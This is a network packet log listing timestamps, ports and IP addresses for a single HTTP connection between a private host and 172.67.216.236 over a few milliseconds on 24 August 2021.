Aug 24, 2021 14:01:43.845161915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845189095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845206976 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845228910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845271111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845277071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845299959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845324039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845345020 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845346928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845372915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845386982 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845396996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845419884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845439911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845446110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845485926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845494986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845526934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845561981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845568895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845607042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845648050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845654011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845690012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845732927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845733881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845757961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845793009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845797062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845829010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845865965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845874071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845901012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845937014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845951080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845973969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845995903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846014023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846019983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846057892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846066952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846081018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846105099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846123934 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846127987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846153021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846168995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846178055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846203089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846216917 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846226931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846251011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846266031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846273899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846297026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846312046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846318960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846343040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846357107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846369028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846395016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846415043 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846416950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846455097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846465111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846493959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846535921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846558094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846607924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846648932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846657991 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846677065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846702099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846715927 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846724987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846750021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846766949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846772909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846811056 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846812963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846848965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846879959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846888065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.846911907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846951962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.846954107 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847002029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847037077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847042084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847074032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847098112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847134113 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847269058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847307920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847328901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847340107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847363949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847381115 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847389936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847426891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847429037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847460032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847500086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847505093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847536087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847570896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847578049 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847594976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847621918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847646952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847649097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847668886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847690105 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847692013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847714901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847737074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847738981 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847770929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847779989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847798109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847840071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847845078 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847867966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847903013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847906113 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.847938061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847974062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.847979069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848014116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848057032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848057985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848108053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848145962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848145962 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848193884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848232031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848238945 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848268986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848292112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848308086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848337889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848361015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848378897 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848382950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848406076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848423958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848428965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848453045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848465919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848476887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848503113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848511934 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848526955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848561049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848583937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848586082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848608017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848632097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848633051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848658085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848674059 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848681927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848706007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848732948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848745108 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848763943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848787069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848809958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848851919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848860979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848907948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848943949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.848948956 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.848990917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849023104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849029064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849056005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849091053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849113941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849126101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849157095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849196911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849196911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849241018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849246979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849273920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849301100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849319935 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849345922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849378109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849390984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849404097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849457979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849565983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849585056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849606991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849626064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849646091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849664927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849683046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849700928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849720001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849721909 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849750042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849750042 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849770069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849791050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849793911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849834919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849857092 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.849883080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.849929094 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850105047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850128889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850152016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850181103 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850284100 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850322008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850339890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850358963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850399971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850404024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850441933 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850467920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850487947 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850491047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850529909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850537062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850562096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850586891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850622892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850647926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850667953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850672007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850693941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850718021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850740910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850744963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850764036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850790024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850791931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850814104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850833893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850836992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850860119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850879908 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850883007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850905895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850929022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850933075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850951910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.850961924 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.850979090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851001978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851025105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851026058 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851048946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851068974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851072073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851109982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851134062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851171970 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851208925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851219893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851246119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851290941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851299047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851393938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851427078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851461887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851484060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851497889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851521015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851535082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851569891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851577997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851605892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851640940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851650953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851665020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851687908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851708889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851731062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851757050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851778984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851799011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851845026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851849079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851881981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851917028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.851919889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.851962090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852000952 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852010965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852046013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852088928 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852092981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852129936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852152109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852173090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852174997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852212906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852241993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852292061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852339029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852340937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852391958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852426052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852435112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852467060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852507114 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852510929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852535963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852571964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852602005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852613926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852663040 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852663040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852703094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852754116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852755070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852802992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852840900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852842093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852876902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852916002 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.852921009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.852957010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853003025 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.853003979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853050947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.853087902 CEST	80	49724	172.67.216.236	192.168.2.3
